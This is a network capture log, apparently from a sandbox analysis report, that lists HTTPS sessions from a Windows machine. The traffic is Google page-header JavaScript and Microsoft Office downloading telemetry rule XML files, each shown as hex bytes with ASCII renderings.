2024-11-17 21:20:28 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 21:20:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 21:20:28 UTC	360	IN	Data Raw: 33 61 32 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3a2a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700258,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 Data Ascii: c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003df
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 4a 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 Data Ascii: u003d\"number\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Jd(f):f,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLower

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212029Z-16547b76f7fkz9l7hC1DFW35uc00000001v000000000n1wy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bd5538f5-501e-008f-71ad-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212029Z-164f84587bffvwt9hC1DFW2ktw00000002hg00000000fz34 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212029Z-164f84587bfn7ppchC1DFW0meg00000004a0000000002bnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:29 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212029Z-1866b5c5fbb2t6txhC1DFWa2qc00000004rg00000000q8kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:29 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:29 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212029Z-16547b76f7ff9zf4hC1DFW2pfc00000002gg000000003bkg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49752	142.250.181.228	443	1748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
